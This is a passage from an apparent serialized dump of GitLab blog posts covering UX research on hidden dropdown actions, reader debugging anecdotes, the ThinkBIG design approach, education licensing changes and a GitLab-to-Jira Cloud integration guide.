was that our participants could not find a way to create a subgroup. Success depended on creating subgroups, but the button to create a new subgroup was not easily discoverable. The participant would have to go into exploratory mode and click to see what was in the 'New project' dropdown to find it. This problem with button dropdowns and primary action discovery also occurred within the [Comment button in Merge Requests](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49614).\n\n![Image of dropdown button](https://about.gitlab.com/images/blogimages/2021-04-15-dropdown-button.png){: .shadow.center}\n\nThe second observation was that the user experience and logic of building an organizational system are not intuitive for new users. \n\nParticipants expected:\n- A more graphical user experience with interactive boxes and lines\n- A way to perform the task through the command line\n- A way to import the org structure from another system\n\nParticipants could not determine the difference between a group or a project or how they were related. There was no visual indicator of what the difference was or what features related to Groups or Projects.\n\n### Solution proposals\nFor an initial recommendation to address the confusion, we wanted to separate the primary dropdown button.\n\n![Image of 3 seperate buttons](https://about.gitlab.com/images/blogimages/2021-04-15-split-button.png){: .shadow.center}\n\nHiding features under dropdowns assumes the users understand they can access additional actions if they click the button's dropdown area. As well, two disparate interface actions shouldn't juxtapose if they have no direct relationship.\n\nWe assumed that we could split up this button into two for an MVC and have better results. After another round of testing, we were able to achieve far better results. Our test participants completed the task of creating the group and project structure quickly and found the task easy to complete.\n\n### This one simple trick\nBy breaking apart the 'New project' and 'New group' buttons, we could make the 'New group' action discoverable. After we made this change, participants had no trouble interpreting the scenario and executing the task within 5 minutes.\n\n\u003C!-- ![image of a young man dancing](https://media.giphy.com/media/3o7abldj0b3rxrZUxW/giphy.gif){: .shadow.center} -->\n\n### Next steps\nCurrently, we are looking at how we can improve sharing groups and features. We want to [remove the barrier between groups and projects](https://gitlab.com/groups/gitlab-org/-/epics/2885). We believe that this will help with some of the problems users have with sharing across groups, and they will be able to take advantage of features that provide them with a more connected set of groups. This change will also improve our information architecture by reducing the confusion around how objects are connected, making navigation and cross-team sharing easier in the future.\n",[2248,2250],{"slug":19012,"featured":6,"template":678},"dont-hide-primary-actions","content:en-us:blog:dont-hide-primary-actions.yml","Dont Hide Primary Actions","en-us/blog/dont-hide-primary-actions.yml","en-us/blog/dont-hide-primary-actions",{"_path":19018,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19019,"content":19024,"config":19030,"_id":19032,"_type":16,"title":19033,"_source":17,"_file":19034,"_stem":19035,"_extension":20},"/en-us/blog/3-debugging-tips-we-learned-from-you",{"title":19020,"description":19021,"ogTitle":19020,"ogDescription":19021,"noIndex":6,"ogImage":12013,"ogUrl":19022,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19022,"schema":19023},"3 Debugging tips we learned from you","We asked for your most unexpected causes of bugs. Here's what we learned.","https://about.gitlab.com/blog/3-debugging-tips-we-learned-from-you","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"3 Debugging tips we learned from you\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2021-03-31\",\n      }",{"title":19020,"description":19021,"authors":19025,"heroImage":12013,"date":19027,"body":19028,"category":734,"tags":19029},[19026],"Rebecca Dodd","2021-03-31","\n\nInfuriating, facepalm-inducing, but with an intensely satisfying payoff when (if!) you figure them out, bugs are an unavoidable part of being a developer.\n\n![Programmer debugging meme](https://about.gitlab.com/images/blogimages/debugging.png){: .medium.center}\n\u003C!-- image: https://www.reddit.com/r/ProgrammerHumor/comments/m2wy7v/20_goto_10/-->\n\nWhen senior developer evangelist [Brendan O'Leary](/company/team/#brendan) shared with us this amusing [story about a \"bug\" he solved](https://boleary.dev/blog/2021-01-27-the-purse-caper-debugging-can-be-hard.html) in a previous role, we knew we had to ask you about your most elusive bugs. Now we're sharing some of the best bug stories with you, along with some lessons.\n\nBrendan's example was in fact not a bug at all, but actually the result of an employee resting their purse on the keyboard. This is the first lesson: \n\n## Debugging tip 1: It might not be a bug at all\n\nA surprising number of \"bugs\" actually have nothing to do with code. One of the first principles of debugging is to reproduce the bug to get started. If you can't do that, it could be a sign that, er, human factors are at play. Consider this example from [@MrSimonEmms](https://twitter.com/MrSimonEmms) on Twitter:\n\n> I once spent an entire day chasing down an error because I put a backtick in – originally, I thought it was a piece of dirt on my screen.\n(This was 15+ years ago and the stacktrace wasn't even erroring in the correct file)\n\nIn fact, when we asked for your stories, [user errors](https://en.wikipedia.org/wiki/User_error) came up _a lot_:\n\n\u003Cblockquote class=\"twitter-tweet\">\u003Cp lang=\"en\" dir=\"ltr\">customer reporting that the new software was not printing the letterhead. The letterhead is fed in from a different tray in the printer. The letterhead tray was empty.\u003C/p>&mdash; My dad calls me brucellosis. (@brucelowther) \u003Ca href=\"https://twitter.com/brucelowther/status/1366332712932569094?ref_src=twsrc%5Etfw\">March 1, 2021\u003C/a>\u003C/blockquote> \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003Cblockquote class=\"twitter-tweet\">\u003Cp lang=\"en\" dir=\"ltr\">During internship a long time ago. Everyone got paged, servers down!!! We rush to the office (yea, they hat the servers in the office) and found the cleaning lady needed a power plug while vacuuming the server room 😅 (true story)\u003C/p>&mdash; Bart 全部技術 (@ZenbuTech) \u003Ca href=\"https://twitter.com/ZenbuTech/status/1367826235951378434?ref_src=twsrc%5Etfw\">March 5, 2021\u003C/a>\u003C/blockquote> \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003Cblockquote class=\"twitter-tweet\">\u003Cp lang=\"en\" dir=\"ltr\">An employee who complained that the web app often wanted a fresh login during work. Searched and debugged nearly everything until we found out that this employee let other people work with their pc and cleaned the browser cache afterwards but wasn&#39;t aware that this reset the app.\u003C/p>&mdash; Bernhard Rausch (@rauschbit) \u003Ca href=\"https://twitter.com/rauschbit/status/1366499562295287813?ref_src=twsrc%5Etfw\">March 1, 2021\u003C/a>\u003C/blockquote> \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\nAs Brendan noted in [his story](https://boleary.dev/blog/2021-01-27-the-purse-caper-debugging-can-be-hard.html), \"The lesson is that as humans interact with systems – or as systems become complex enough to take actions on their own – they will make mistakes. And while you can't possibly anticipate every one of those mistakes from the onset, when you encounter one, you can work on making sure you have observability at every level so you can see it when it happens.\"\n\n## Debugging tip 2: Get the receipts\n\n[This comment](https://www.linkedin.com/feed/update/urn:li:ugcPost:6770791699489796096?commentUrn=urn%3Ali%3Acomment%3A%28ugcPost%3A6770791699489796096%2C6773896843345580033%29) perfectly demonstrates why it's critical to require details such as Screen IDs when users or customers submit bug reports.\n\n![LinkedIn comment: \"a customer sharing over and over again the same old screenshot claiming that the bug still exists ... That's why all screens have now a small screenID and Version number that is required when screen-shotting issues and bugs!\"](https://about.gitlab.com/images/blogimages/screenshot-2021-03-30-at-12.28.25.png \"LinkedIn comment\"){: .shadow}\n\n## Debugging tip 3: Computers do what you tell them to\n\nWe asked you for examples of your most unexpected culprit when debugging.\n\n\u003Cblockquote class=\"twitter-tweet\">\u003Cp lang=\"und\" dir=\"ltr\">Me 🤣\u003C/p>&mdash; Steven เด็กน้อย (@TweetsByBooth) \u003Ca href=\"https://twitter.com/TweetsByBooth/status/1367859314728255490?ref_src=twsrc%5Etfw\">March 5, 2021\u003C/a>\u003C/blockquote> \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\nWe appreciate the above commenter's self awareness, which brings us to our next lesson...\n\nThe code always does exactly what you tell it to – you just might be asking it to do something different from what you really meant. To get to the bottom of things, ask yourself what you expected the code to do versus what it actually did, and from there you'll usually find the answer staring you in the face.\n\n## Debugging tip 4: When in doubt, investigate the usual suspects\n\n[Occam's Razor](https://en.wikipedia.org/wiki/Occam%27s_razor) is your friend. It's often useful to rule out the obvious before you get too deep in debugging. Of course, no post about debugging would be complete without an off-by-one error, so we couldn't resist sneaking it into the title of this post (see what we did there? 😉)\n\nYour own codebase will no doubt have its usual suspects, as the interaction below demonstrates, so those are a good place to start.\n\n\u003Cblockquote class=\"twitter-tweet\">\u003Cp lang=\"en\" dir=\"ltr\">DNS, it&#39;s always DNS!\u003C/p>&mdash; cronopio (@cronopio2) \u003Ca href=\"https://twitter.com/cronopio2/status/1367827879309025284?ref_src=twsrc%5Etfw\">March 5, 2021\u003C/a>\u003C/blockquote> \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003Cblockquote class=\"twitter-tweet\">\u003Cp lang=\"en\" dir=\"ltr\">If not, is definitely SELinux\u003C/p>&mdash; Łukasz Korbasiewicz (@korbasiewicz) \u003Ca href=\"https://twitter.com/korbasiewicz/status/1367861966446944258?ref_src=twsrc%5Etfw\">March 5, 2021\u003C/a>\u003C/blockquote> \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\nWhether bugs drive you to distraction or you enjoy the challenge (probably both?), we want to hear about yours! Share in the comments below or tweet us [@GitLab](https://twitter.com/gitlab/).\n\nThumbnail photo by [Andrew Wulf](https://unsplash.com/@andreuuuw?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/rubber-duck?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[267],{"slug":19031,"featured":6,"template":678},"3-debugging-tips-we-learned-from-you","content:en-us:blog:3-debugging-tips-we-learned-from-you.yml","3 Debugging Tips We Learned From You","en-us/blog/3-debugging-tips-we-learned-from-you.yml","en-us/blog/3-debugging-tips-we-learned-from-you",{"_path":19037,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19038,"content":19044,"config":19050,"_id":19052,"_type":16,"title":19053,"_source":17,"_file":19054,"_stem":19055,"_extension":20},"/en-us/blog/five-signs-you-should-think-bigger",{"title":19039,"description":19040,"ogTitle":19039,"ogDescription":19040,"noIndex":6,"ogImage":19041,"ogUrl":19042,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19042,"schema":19043},"Five signs you should think BIGGER!","Are you a designer who is frustrated with only focusing on the next milestone? Do you feel like you have to answer too many questions in every Issue? Do you feel like your product is not making any progress? **Time to Think Bigger!**","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099620/Blog/Hero%20Images/Blog/Hero%20Images/insights_insights.png_1750099620265.png","https://about.gitlab.com/blog/five-signs-you-should-think-bigger","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Five signs you should think BIGGER!\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Iain Camacho\"}],\n        \"datePublished\": \"2021-03-30\",\n      }",{"title":19039,"description":19040,"authors":19045,"heroImage":19041,"date":19047,"body":19048,"category":734,"tags":19049},[19046],"Iain Camacho","2021-03-30","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nAs a designer, it’s difficult to balance the scale of initiatives: Design too small, and nobody is excited or can understand the direction things are going. Start too big and everyone on the team may be too intimidated to start. ThinkBIG is a way of utilizing designers’ natural skillset to balance the iterative nature of engineering with the visionary nature of design.\n\nHere are 5 signals that you should switch up your style and Think Bigger:\n\n### 1) Every milestone is spent only prepping the next\n\n#### Signal\n\nWe’ve all been there. The next milestone planning issue is starting to get filled out and you, the designer, are realizing how many issues need design in order to be ready. As the priorities shift, you know the last two weeks of this milestone will be spent desperately trying to design mockups for engineers to start working on days later. I like to call this “Feeding the sharks”. It describes a certain level of panic some designers feel every milestone: If I don’t deliver enough, I might get chomped!\n\n#### Solution\n\nThinkBIG focuses on creating a larger-scale vision that can be iterated on as we go. This means that each design you put together leads to many independent issues engineers can work on. For a designer, this increases [results](https://handbook.gitlab.com/handbook/values/#results) by delivering one design worth many issues.\n\n### 2) Engineers are asking _a lot_ of questions\n\n#### Signal\n\nHave you ever started a new milestone and as engineers get started, they have a million questions detailing every possible state, permutation, and example that they should account for? This line of questioning means you, the designer, now need to make a myriad of new designs with only minute changes between them. This is not an [efficient](https://handbook.gitlab.com/handbook/values/#efficiency) use of the designer’s time.\n\n#### Solution\n\nFirst off, all these questions are valid and decisions that need to be made. By Thinking Bigger, engineers are better prepared to handle all the edge cases independently because they walk into their work with a fuller context of the impact on users.  This enables empathy-driven engineering, allowing engineers to lead the conversation around edge-cases with solutions in mind, instead of needing it to be defined ahead of time. By pushing the edge cases further down the product development lifecycle, there is also a unique opportunity for product, design, and engineering to [collaborate](https://handbook.gitlab.com/handbook/values/#collaboration) on delivering value to customers while still working iteratively.\n\n### 3) Nobody agrees on what the “MVC” actually is\n\n#### Signal\n\nPicture it: You’ve worked hard for weeks refining and distilling a big feature ask into a nicely designed MVC. It’s small, delivers value, and is beautiful to boot! You’ve convinced your PM to prioritize this beautiful little gem and it’s going onto the planning board. Everything feels amazing until… devastation!\n\nAfter engineering looked at it, they came back and said it was too large and would need to be broken down further. Now you’re at the end of your milestone and you’re swiftly picking away at your beautiful design into a shallow imitation of its former glory.\n\n#### Solution\n\nHowever, there is a simple way to keep this from happening: “[Iteration](https://handbook.gitlab.com/handbook/values/#iteration) is a team sport”. The designer shouldn’t be the only person on the team compromising for the sake of MVC. With ThinkBIG, you have multiple chances to bring engineering into the fold early and with the full vision in mind. This means devs are part of the conversation from the start, able to craft a valuable iteration and your designs become the conversation piece of deciding “What can we do next to deliver an amazing experience to our customers?”\n\n### 4) We’re working so hard but not getting anywhere\n\n#### Signal\n\nWorking iteratively is incredibly powerful and at GitLab, we can see the value of an iterative approach. We’re able to change our priorities at a moment’s notice and the work we actually have to deliver is reasonable and manageable while continuously delivering new value to customers. There is, however, a small drawback: When you’re only focusing on the step immediately in front of you, it’s easy to get lost along the way.\n\n#### Solution\nAs a designer, we have a unique opportunity to be the navigator for our teams. Using the ThinkBIG model, designers are empowered to hold responsibility for the Vision. From here, the Product Manager/Product Designer relationship becomes a balance between the vision and the strategy. Designs based on the large vision are used to keep the team on track for hitting the targets that bring value to customers while allowing for collaboration with the rest of the team on what tiny steps we take to get there.\n\n### 5) Engineers are reworking a lot\n\n#### Signal\n\nMy engineer and I are excited to work on a new effort. I’ve designed the first iteration and successfully passed it to them.  While they’re building, I’m working on the design for the next iteration. A few weeks later the new changes are merged, the next iteration designs are ready, and customers are already seeing value. Your engineer looks at the next iteration and painfully mutters “Well, I’ll have to rewrite what I wrote the last milestone to account for this.”\n\n#### Solution\n\nIn a highly iterative development lifecycle, it’s not uncommon to have to rework things as the product evolves. However, it shouldn’t be happening every time. With ThinkBIG, engineers are informed of the long-term goal as well as the short-term MVC iteration. This extra context allows them to deliver the iteration while architecting their code in an informed way of where it will go.\n\n### Start Thinking BIGGER!\n\nAre some of these signals sounding familiar? Then switching your design style to ThinkBIG may be for you! The simplest way to make this change is to move iteration breakdown to **after** the design phase. It immediately shows engineers where we want to go as a product or feature, opens the implementation breakdown (MVC) conversation to the whole team, and provides incredibly valuable insight to everyone on the team. This model of working helps designers be more efficient, deliver results, and foster a tight collaboration with the broader team. To see this process in action, check out a [Package ThinkBIG around the dependency proxy design and research](https://www.youtube.com/watch?v=LXFu6oDxhsw). For more information, check out the GitLab Handbook on [ThinkBIG](https://about.gitlab.com/handbook/product/ux/thinkbig/) to learn more.\n",[2368,2248,676,3798,944],{"slug":19051,"featured":6,"template":678},"five-signs-you-should-think-bigger","content:en-us:blog:five-signs-you-should-think-bigger.yml","Five Signs You Should Think Bigger","en-us/blog/five-signs-you-should-think-bigger.yml","en-us/blog/five-signs-you-should-think-bigger",{"_path":19057,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19058,"content":19063,"config":19067,"_id":19069,"_type":16,"title":19070,"_source":17,"_file":19071,"_stem":19072,"_extension":20},"/en-us/blog/gitlab-education-solutions",{"title":19059,"description":19060,"ogTitle":19059,"ogDescription":19060,"noIndex":6,"ogImage":12013,"ogUrl":19061,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19061,"schema":19062},"GitLab solutions for education","You spoke, we listened! Check out our new and improved options for bringing GitLab to your campus.","https://about.gitlab.com/blog/gitlab-education-solutions","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab solutions for education\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Christina Hupy, Ph.D.\"}],\n        \"datePublished\": \"2021-03-30\",\n      }",{"title":19059,"description":19060,"authors":19064,"heroImage":12013,"date":19047,"body":19065,"category":736,"tags":19066},[14215],"\n\nIt's been an exciting year for the GitLab for Education Program! We hit 2 million all-time seats issued, we connected with many of our Program Members through coffee chats, on issues, in our customer reference program, and through our GitLab for [Education Program 2020 Program Survey](/solutions/education/edu-survey/).\n\nThrough these conversations and the survey, you've shared with us your successes and some of your challenges with bringing the DevOps transformation to your campus.\nOur survey yielded some great insights about your journey, which have inspired the iterations to our solutions for education (which you can read about below). Specifically:\n\n### GitLab is used extensively across the entire educational institution\n\nAdoption extends well beyond typical Computer Science departments into many different academic departments as well as administrative departments such as information technology and services. Departments ranged from natural and social sciences, to medical fields, nearly every time of engineering, to library science. Even Seismology, Planetary Science, and Astronomy – the sky is literally not even the limit for DevOps in Education.\n\nNot only is GitLab used for teaching coding, **adoption across campus is multidisciplinary**. Generally, departments are using GitLab for more than one primary purpose including teaching, research, learning, and student portfolios.\n\nMost campuses want to use **GitLab across the enterprise**. In today's modern campus, collaboration occurs across campus. In the past, license restrictions based on use case have been a barrier to collaboration and adoption.\n\nFor example, one respondent indicated that:\n\n> \"At our institution, it is not binary if you are 'administration' and 'teaching/learning.' We work on all sorts of projects for all aspects of the university from teaching/learning, to research and outreach.\"\n\nWe realize that our education community is innovating and pushing traditional boundaries and that we need to do the same in order to make adoption of DevOps across the enterprise easier for everyone.\n\nAt GitLab, we believe everyone can contribute! When you speak, we listen.\n\nOver the last year, we took a hard look at our licensing options for education, we took in your feedback, and we had long and detailed discussion of how we can better meet your needs. We did our best to think outside the box and come up with a new structure to enable the adoption of GitLab across all of campus.\n\nWe are thrilled to announce that we've revamped our existing GitLab for Education license and created a new innovative license structure specifically designed to enable campus-wide adoption, [GitLab for Campuses](/solutions/education/).\n\nBefore we get to the new offering, we'll highlight what's new in the GitLab for Education Program. The program provides **free subscriptions of GitLab Ultimate**, our top tier, to [qualifying institutions](/handbook/marketing/developer-relations/community-programs/education-program/#gitlab-for-education-program-requirements). Program members are able to choose a deployment method, self-managed or hosted (formerly Gold). GitLab for Education licenses can only be used directly for **teaching, learning, or research**. It is not authorized to run, administer, or operate an institution.\n\nThere is no limit on the number of seats a university can request. Additionally, there is now **no limit on the number of subscriptions** any one university can request. We realize that a university can have many different administrative units and that it is often difficult to coordinate across these units. We also realize that different divisions on campus may require different hosting types. This is especially true where research laboratories or centers store sensitive data and may need to have their repositories on locally isolated servers.\nThe flexibility of deployment method, either self-managed or SaaS, was noted as a large advantage of the GitLab for Education Program in our survey. Campuses are able to choose the method that works best with their security requirements and authentication systems as well as meeting research funding requirements. We are really excited to offer this flexibility to campus as a whole by allowing multiple deployment methods per campus through the program.\n\n### Requirements\nWe've seen a great increase in the number of applications, types of entities applying, and the use cases. We are surprised and amazed on a daily basis! Given this influx, we have updated and added clarity to our institutional and use case requirements.\n\nIn order to qualify for the GitLab for Education Program the institution must be accredited (by a local, state, provincial, federal, or national authorized agency), have the primary purpose of teaching its enrolled students, and be degree-granting. Institutions can be public or private but must be registered as not-for profit.\n\nWhile we value the kind of work that code camps, code academies, training centers, eLearning platforms etc. are engaged in, these entities do not qualify for the free program ([full list here](/handbook/marketing/developer-relations/community-programs/education-program/#gitlab-for-education-program-requirements)).\n\n**Acceptable use cases** include classroom use, non-commercial academic research, or organization use, where the use is directly related to a club or organization for the benefit of developing students.\nResearch that is conducted at the request of and for the benefit of a third party is **not authorized under the GitLab for Education license**. Along those lines, any activities conducted by a consulting center, super computer laboratory, or entity that provides services for the benefit of a third party are not acceptable under the free license. Please see additional [details here](/handbook/marketing/developer-relations/community-programs/education-program/#gitlab-for-education-program-requirements).\n\n## GitLab for Campuses\n\nThe free program comes with many restrictions, as outlined above, and we've heard from you that many of these restrictions are not ideal, especially for those campuses that are early adopters and are already seeing demand across campus.\n\nYou've told us that separating users based on use case or persona is not realistic for many of you. And we understand! That's why we created a unique offering that combines the best of the both our free and paid offerings with the goal of enabling adoption of GitLab across the campus enterprise.\n\nThe GitLab for Campuses offering is designed so that campuses don't have to worry about who is using GitLab or how they are using it. Any activites that occur under the official not-for-profit entity that purchased the license are acceptable. The only caveat is that entities directly affiliated with an institution that is managed and operated as a for-profit with a separate tax status than the parent institution do not qualify. For example, for-profit online programs, endowment money management arms, startup incubators, would not qualify.\n\nYes, we realize that it is entirely possible that every single faculty, staff and student may want, need, and use a GitLab account. If that is the case, first of all, you are a rockstar campus and please reach out to us because we definitely want to talk! And secondly, if that is the case, you will run out of seats. We fully realize this. In the spirit of our GitLab values, we went with the simplest viable change ([MVC](https://handbook.gitlab.com/handbook/values/#minimal-viable-change-mvc)) for this first iteration. The last published enrollment of all students per semester is an easy number to access and document, so we choose this value to base the price on. Additionally, educational institutions fall into typical sized buckets with fairly standard ratio bands of faculty to staff to students. As use expands, we will revisit this in the next iteration and if you feel that this number is a limitation, please reach out and we can work with you in the meantime.\n\n## Is GitLab for Campuses right for my institution?\n\nIs the price worth it? We can help you determine if this subscription is right for your campus. We based the GitLab for Campuses offering on the idea that students remain free and that institutions only pay for administrative use. What does this mean? This means that the offering is based on the typical number of administrative or professional users that a campus within any given size bucket could be expected to have. You can think of this as a break-even price. For example, if I have a campus of X amount of students, I may have an Y amount of administrative users. If I were to pay for just these administrative individuals in a given year, I would pay Z. Z is your break-even price. The GitLab for Campuses model is well below the break-even price for a typical campus and provides you with top-tier features with your choice of deployment method. It is a win-win!\n\nSome campuses may not be the point where their Z makes sense for the GitLab for Campuses offering just yet. Maybe GitLab or DevOps is new to your campus... Maybe your campus has vendor lock on a different solution... Or maybe only a small department is using GitLab.... If you aren't at the level where the GitLab for Campuses offering makes sense, we still have a solution for you. We've created an Academic Discount of 20% off our list price to qualifying educational institutions. This way you can just pay for the seats you need.\n\n## What's next?\n2021 is going to be an exciting year for the GitLab for Education Program. We are making significant investments into bringing DevOps to educational institutions around the world! We are automating the entire application process, making it much easier and faster to both apply and renew the free licenses. We are also investing significantly in creating learning and development content for faculty, students, and staff.\n\nStay tuned for more case studies! Check our recent examples here from Dublin City University, the [British Geological Survey](/customers/bgs/), and the Square Kilometer Array, to learn more about how DevOps is transforming teaching, learning, and research.\n\nDid you miss the survey? Don't worry, we'll send out another one in the fall of 2021 and we also have a issue template for anyone in education to provide us with feedback. [Check it out here](https://gitlab.com/gitlab-com/marketing/community-relations/community-programs/education-program/programfeedback).\n\nAre you interested in applying for the free GitLab for Education Program? [Apply now](/solutions/education/join/).\n\nWould you like to talk to our Sales team about the GitLab for Campuses offering? [Contact Sales](/sales/).\n",[4103,6962],{"slug":19068,"featured":6,"template":678},"gitlab-education-solutions","content:en-us:blog:gitlab-education-solutions.yml","Gitlab Education Solutions","en-us/blog/gitlab-education-solutions.yml","en-us/blog/gitlab-education-solutions",{"_path":19074,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19075,"content":19080,"config":19085,"_id":19087,"_type":16,"title":19088,"_source":17,"_file":19089,"_stem":19090,"_extension":20},"/en-us/blog/integrating-gitlab-com-with-atlassian-jira-cloud",{"title":19076,"description":19077,"ogTitle":19076,"ogDescription":19077,"noIndex":6,"ogImage":18910,"ogUrl":19078,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19078,"schema":19079},"How to integrate GitLab.com with Jira Cloud","Check out how to use the GitLab App on the Atlassian Marketplace to connect your merge requests, branches, and commits to a Jira issue.","https://about.gitlab.com/blog/integrating-gitlab-com-with-atlassian-jira-cloud","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to integrate GitLab.com with Jira Cloud\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tye Davis\"}],\n        \"datePublished\": \"2021-03-25\",\n      }",{"title":19076,"description":19077,"authors":19081,"heroImage":18910,"date":19082,"body":19083,"category":734,"tags":19084},[18386],"2021-03-25","By moving to the cloud engineering teams can accelerate innovation and scale resources across an organization. The ease of access and reduced infrastructure costs that comes with moving to the cloud is a direct result of using a platform that easily integrates your data and keeps it secure yet accessible. Gitlab.com, the cloud (SAAS) platform for GitLab, modernizes data platforms to leverage new applications and advances end-to-end software delivery. GitLab partners with other best-in-class cloud companies so your teams can use tools that best align with your team's DevOps ecosystem. Application development requires speed and iteration, making seamless collaboration a necessity to deliver real business value. GitLab embraces connecting all phases of the software development lifecycle (SDLC) in a DevOps ecosystem that fuels visibility, collaboration, and velocity.\n\n## How to use GitLab with Atlassian's Jira\n\nWe know that many companies have been using Jira for project management, and have existing data and business processes built into their instance. For some of these customers, this means it can be difficult and cost-prohibitive to move off of Jira. We believe that people (and tools) work better when they're all in one place, so to serve these customers, we built a seamless integration between GitLab and Jira. By using the [GitLab for Jira app in the Atlassian Marketplace](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud), you can integrate GitLab.com and Jira Cloud harmoniously.\n\nHere's a short list of what you can do when integrating GitLab with Jira:\n\n* One GitLab project integrates with all the Jira projects in a single Jira instance.\n* Quickly navigate to Jira issues from GitLab.\n* Detect and link to Jira issues from GitLab commits and merge requests.\n* Log GitLab events in the associated Jira issue.\n* Automatically close (also called \"transition\") Jira issues with GitLab commits and merge requests.\n\n## How to configure the integration\n\nThere are two methods for configuring the integration. The [Jira DVCS connector](https://docs.gitlab.com/ee/integration/jira/dvcs/), and the method we describe in this blog post. The DVCS connector updates data only once per hour, while our method syncs data in real time. We recommend using our method for this reason, but if you are not using both of these environments then use the Jira DVCS connector instead.\n\n- First, go to Jira Settings > Apps > Find new apps, then search for GitLab.\n- Next, click GitLab for Jira, then click \"Get it now\". Or, go the [App in the marketplace](https://marketplace.atlassian.com/apps/1221011/gitlab-for-jira), directly.\n\n![Arrow pointing to \"get it now button\" on GitLab on Atlassian Marketplace App](https://about.gitlab.com/images/blogimages/atlassianjira/gitlabonatlassianmarketplace.png){: .shadow.medium.center}\nClick the yellow button to download the app.\n{: .note.text-center}\n\n- Third, after installing, click \"Get started to go to the configurations\" page. This page is always available under Jira Settings > Apps > Manage apps.\n\n![GitLab on Atlassian Marketplace App](https://about.gitlab.com/images/blogimages/atlassianjira/manageappsjira.png){: .shadow.medium.center}\nClick the \"Get started button\".\n{: .note.text-center}\n\n- Fourth, in Namespace, enter the group or personal namespace, and then click \"Link namespace to Jira\". The user that is setting up GitLab for Jira must have Maintainer access to the GitLab namespace. Note: The GitLab user only needs access when adding a new namespace. For syncing with Jira, we do not depend on the user’s token.\n\n![GitLab for Jira Configuration](https://about.gitlab.com/images/blogimages/atlassianjira/gitlabforjiraintegration.png){: .shadow.medium.center}\nAdd a namespace.\n{: .note.text-center}\n\nAfter a namespace is added, all of the future commits, branches, and merge requests within all projects under that namespace will be synced to Jira. At the moment, past data cannot be synced.\n\nFor more information, see [the documentation](https://docs.gitlab.com/ee/integration/jira/index.html#usage).\n\n### How to troubleshoot GitLab for Jira\n\nThe GitLab for Jira App uses an iframe to add namespaces on the settings page. Some browsers block cross-site cookies which can lead to a message saying that the user needs to log on to GitLab.com even though the user is already logged in: \"You need to sign in or sign up before continuing.\"\n\nIn this situation, we recommend using [Firefox](https://www.mozilla.org/en-US/firefox/), [Google Chrome](https://www.google.com/chrome/index.html) or enabling cross-site cookies in your browser.\n\n### What are the limitations of GitLab for Jira?\n\nThis integration is currently not supported on GitLab instances under a [relative URL](https://docs.gitlab.com/omnibus/settings/configuration.html#configuring-a-relative-url-for-gitlab) (for example, http://yourcompanyname.com/gitlab).\n\n## How to use GitLab for Jira\n\nAfter the integrating GitLab and Jira, you can:\n\n- Refer to any Jira issue by its ID in GitLab branch names, commit messages, and merge request titles.\n\n- Using commit messages in GitLab, you can move Jira issues along that Jira projects defined transitions.\n\n![GitLab for Jira Setup](https://about.gitlab.com/images/blogimages/atlassianjira/jiraissuescreenshot.png){: .shadow.medium.center}\nIn this image, you can see that this Jira issue has four stages: Backlog, selected for development, in progress, and done.\n{: .note.text-center}\n\n- As referenced in the base GitLab-Jira integration, when you reference an issue in a comment on a merge request and commit, e.g., PROJECT-7, the basic integration adds a comment in Jira issue. Also, by commenting in a Jira transition (putting a # first), this will move a Jira issue to the desired transition. Below is an example using the built-in GitLab Web IDE (this can be done in your Web IDE of choice as well).\n\n![View of Jira Transitions](https://about.gitlab.com/images/blogimages/atlassianjira/jiraissuescreenshot2.png){: .shadow.medium.center}\nThere are multiple Jira transition options.\n{: .note.text-center}\n\n- Now, the user can see linked branches, commits, and merge requests in Jira issues (merge requests are called \"pull requests\" in Jira issues).\nJira issue IDs must be formatted in UPPERCASE for the integration to work.\n\n![View branches, commits and merge requests in your jira issue](https://about.gitlab.com/images/blogimages/atlassianjira/jiraissuescreenshot4.png){: .shadow.medium.center}\nView branches, commits, and merge requests in your Jira issue.\n{: .note.text-center}\n\n- Click the links to see your GitLab repository data.\n\n![Deep Dive into your GitLab commits](https://about.gitlab.com/images/blogimages/atlassianjira/jiraissuescreenshot5.png){: .shadow.medium.center}\nHow to take a look at your GitLab commits.\n{: .note.text-center}\n\n![Deep Dive into your GitLab branches](https://about.gitlab.com/images/blogimages/atlassianjira/jiraissuescreenshot6.png){: .shadow.medium.center}\nTake a deep Dive into your GitLab merge requests.\n{: .note.text-center}\n\nFor more information on using Jira Smart Commits to track time against an issue, specify an issue transition, or add a custom comment, see the Atlassian page using [Smart Commits](https://support.atlassian.com/jira-cloud-administration/docs/enable-smart-commits/).\n\n## Watch and learn\n\nMore of a video person? For a walkthrough of the integration with GitLab for Jira, 